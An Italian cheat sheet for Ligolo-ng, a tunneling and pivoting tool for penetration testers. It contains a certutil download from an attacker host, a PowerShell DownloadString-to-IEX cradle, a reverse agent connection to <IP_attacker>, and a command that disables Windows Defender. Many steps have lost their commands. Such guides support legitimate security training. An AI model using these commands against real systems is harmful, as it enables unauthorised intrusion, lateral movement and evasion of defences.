Ligolo-ng
Cheetsheet per Ligolo-ng, uno strumento di tunneling e pivoting per penetration tester.
Introduzione
Ligolo-ng è uno strumento essenziale per stabilire tunnel e pivoting attraverso connessioni reverse TCP/TLS utilizzando un'interfaccia TUN. La sua semplicità e velocità lo rendono particolarmente utile in scenari complessi, come quelli affrontati durante l'OSCP o nei penetration test reali. Questo cheat sheet fornisce una guida rapida per l'utilizzo di Ligolo-ng, con esempi e scenari pratici. Verifica sempre di scaricare l'ultima versione dal repository GitHub ufficiale.
Video Demo
Guida Ufficiale
Download e Preparazione
Scaricare gli eseguibili
Scarica l'agent (macchina target) e il proxy (macchina attaccante) dalla pagina GitHub di Ligolo-ng.
Info
Assicurati di scaricare la versione corretta per la tua architettura, per il sistema operativo e per l'architettura della macchina target.
# Creare una directory per Ligolo-ng
cd /opt
mkdir ligolo
cd ligolo
# Scaricare i file
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.3/ligolo-ng_agent_0.7.3_linux_arm64.tar.gz
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.3/ligolo-ng_proxy_0.7.3_linux_arm64.tar.gz
# Decomprimere e rinominare i file
sudo tar -xvf ligolo-ng_agent_0.7.3_linux_arm64.tar.gz
sudo tar -xvf ligolo-ng_proxy_0.7.3_linux_arm64.tar.gz
sudo mv proxy lin-proxy
sudo mv agent lin-agent
Warning
Controlla sempre la pagina GitHub per eventuali aggiornamenti o nuove versioni.
Configurazione dell'Attacker Machine (Proxy)
Creare un'interfaccia TUN
Avviare il Proxy
Info
Puoi usare una porta diversa. La porta 443 è utile perché spesso non viene bloccata dai firewall.
Configurazione della Target Machine (Agent)
Trasferire l'Agent al Target
- Avvia un server Python sulla macchina attaccante:
- Scarica l'agent sulla macchina target:
Avviare l'Agent
Pivoting su Altre Reti
Enumerazione della Rete sulla Target Machine
Esegui i seguenti comandi per identificare altre reti:
Aggiungere Rotte sulla Macchina Attaccante
Usa le informazioni ottenute per aggiungere una nuova rotta:
Info
Aggiungere una rotta permette alla macchina attaccante di inoltrare il traffico verso una specifica subnet, consentendo il pivoting e l'accesso a reti aggiuntive.
Esempio:
Warning
Questo passo è cruciale per facilitare la connessione verso nuovi target identificati durante l'enumerazione della rete.
Configurazione su Macchine Windows
Scaricare l'Agent Windows
Scarica l'agent compatibile da GitHub:
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Windows_64bit.zip
Trasferire e Avviare l'Agent
Sulla macchina Windows, scarica e avvia l'agent:
certutil.exe -urlcache -split -f "http://<IP_attacker>:80/win-agent.exe"
win-agent.exe -connect <IP_attacker>:443 -ignore-cert
Aggiungere una Nuova Rotta
Sulla macchina attaccante:
Esempio:Gestione delle Sessioni
Per visualizzare e gestire le sessioni:
- Digita
sessionnella finestra del proxy. - Usa
startper attivare un tunnel specifico.
Strumenti Utili per Enumerazione Avanzata
Powerview (Windows)
PowerView è uno script PowerShell per enumerare reti e domini Windows. Ad esempio, il seguente comando, eseguito su una macchina Windows compromessa, elenca i trust forestali nella rete. Questo è utile per identificare altre reti e domini da esplorare.
(New-Object System.Net.WebClient).DownloadString('http://<IP_attacker>/powerview.ps1') | IEX
Get-NetForestTrust
Altri Comandi Utili (Windows)
Questo comando, invece, mostra le connessioni di rete in uscita verso subnet specifiche:
netstat -an | findstr "192.168."
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableRealtimeMonitoring $true
Scenari e Esempi Avanzati
Scenario 1: Pivoting Multi-Hop
- Dopo aver compromesso una macchina, identifica una seconda subnet:
- Aggiungi la rotta sulla macchina attaccante:
- Sposta l'agent sulla nuova macchina target e stabilisci una connessione.
Warning
Identificare i nuovi target è essenziale. Usa strumenti come netstat o ip route per ottenere informazioni sulle connessioni esistenti e i percorsi di rete.
Scenario 2: Uso Avanzato su Windows
Utilizza winPEAS per enumerare dettagli sulla macchina target e individuare nuove reti:
Schemi Visivi
graph TD
A[Attacker Machine] -->|Proxy 443| B[Target Machine 1]
B -->|Agent| C[Subnet 192.168.110.0/24]
C --> D[Target Machine 2]
D -->|Agent| E[Subnet 192.168.210.0/24]
Ripetere il Processo
- Sposta l'agent sulla macchina che comunica con altre subnet o domini.
- Configura la connessione con Ligolo e aggiungi la nuova subnet come rotta.
Ripeti questo schema fino a raggiungere tutti i target nella rete.
Info
Per identificare i nuovi target, considera l'output di netstat o ifconfig sulla macchina target e analizza quali subnet possono essere esplorate ulteriormente.